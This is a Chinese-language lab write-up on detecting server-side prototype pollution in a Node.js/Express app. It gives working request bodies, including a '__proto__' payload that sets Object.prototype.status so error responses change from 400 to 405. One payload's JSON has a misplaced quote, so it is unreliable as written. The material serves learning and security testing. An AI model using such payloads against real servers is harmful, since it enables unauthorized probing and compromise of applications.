> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/reflection-free-detection-of-changed-properties.md).
# 无需反射即可检测已更改的属性
### 在无被污染属性反射的情况下检测服务器端原型污染
**实验上下文**
此实验运行在 **Node.js** 替换为 **Express**。它存在 **服务器端原型污染** 漏洞，因为 **merge（合并）应用** 从由用户控制的数据到 JavaScript 服务器端对象时是不安全的。
目标： **确认漏洞** 作为 `Object.prototype` 污染物 **可见但不具破坏性**，只需通过服务器行为变化即可（无需进一步利用）。
凭据： `wiener:peter`.
**应用发送的数据（地址）**
通过修改账单/收货地址，浏览器会向以下位置发送类似的 JSON：
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```
**生成一个受控错误以观察响应**
如果你强制触发 JSON 解析错误（例如删除一个引号），你会得到一个响应 **400** ，并且服务器会返回一个错误对象，其中 `正文` 包含我们的载荷（反射）：
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```
典型响应：
```json
{
"error": {
"expose": true,
"statusCode": 400,
"status": 400,
"body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
"type": "entity.parse.failed"
}
}
```
**想法：无需直接反射即可证明污染**
与其等待被污染的属性返回到主体中，不如针对一种 **可测量的行为变化**，例如错误期间返回的 \*\*HTTP 状态码\*\*。
在这里，服务器使用（或传播）诸如 `status` / `statusCode`之类的字段。如果我们能够污染 `Object.prototype.status`，那么在未来的错误中，Express（或错误处理程序）可以通过原型链继承恢复该值 → 服务器将返回不同的 **status**.
**通过以下方式进行污染尝试 `__proto__`**
一个 `__proto__` 键被注入到 JSON 中（在有效的 JSON 侧查询中，而不是损坏的查询中），例如：
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
"__proto__": {
"status": 405
}
}
```
预期效果：在这次污染之后， **任何错误** （例如一次主动的 JSON 解析错误）现在都可以响应为 **405 而不是 400**，因为 `status` 是从 `Object.prototype`.
**结果 / 验证**
* 污染前：错误 → `400`
* 污染后：错误 → `405` （或选择的其他代码）
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